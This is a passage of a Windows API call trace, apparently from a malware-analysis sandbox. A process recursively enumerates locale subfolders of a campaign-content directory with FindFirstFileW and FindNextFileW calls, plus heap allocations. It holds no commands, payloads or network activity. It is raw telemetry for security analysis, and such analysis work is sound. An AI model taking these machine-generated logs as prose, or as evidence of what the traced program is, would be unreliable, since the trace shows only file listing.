ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.744] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.745] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.745] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.745] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.745] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.745] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.746] GetProcessHeap () returned 0xaf0000 [0294.746] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.746] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl-ES", cAlternateFileName="")) returned 1 [0294.746] GetProcessHeap () returned 0xaf0000 [0294.746] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0294.748] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.748] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.748] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.748] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.748] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.748] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.748] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0294.749] GetProcessHeap () returned 0xaf0000 [0294.749] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.749] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0294.749] GetProcessHeap () returned 0xaf0000 [0294.749] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0294.951] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.966] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xac78, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.967] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.967] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.967] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.968] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.968] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0294.971] GetProcessHeap () returned 0xaf0000 [0294.971] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.971] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0294.971] GetProcessHeap () returned 0xaf0000 [0294.971] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.973] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.010] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0295.010] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x98b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0295.010] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x25a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0295.010] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0295.011] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0295.011] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0295.011] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0295.012] GetProcessHeap () returned 0xaf0000 [0295.012] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.012] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0295.012] GetProcessHeap () returned 0xaf0000 [0295.012] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.012] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0295.013] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0295.013] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa80d, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0295.013] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0295.013] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0295.013] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0295.014] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0295.014] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0295.015] GetProcessHeap () returned 0xaf0000 [0295.015] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.015] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0295.015] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="is-IS", cAlternateFileName="")) returned 1 [0295.015] GetProcessHeap () returned 0xaf0000 [0295.015] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0295.016] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0295.016] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: 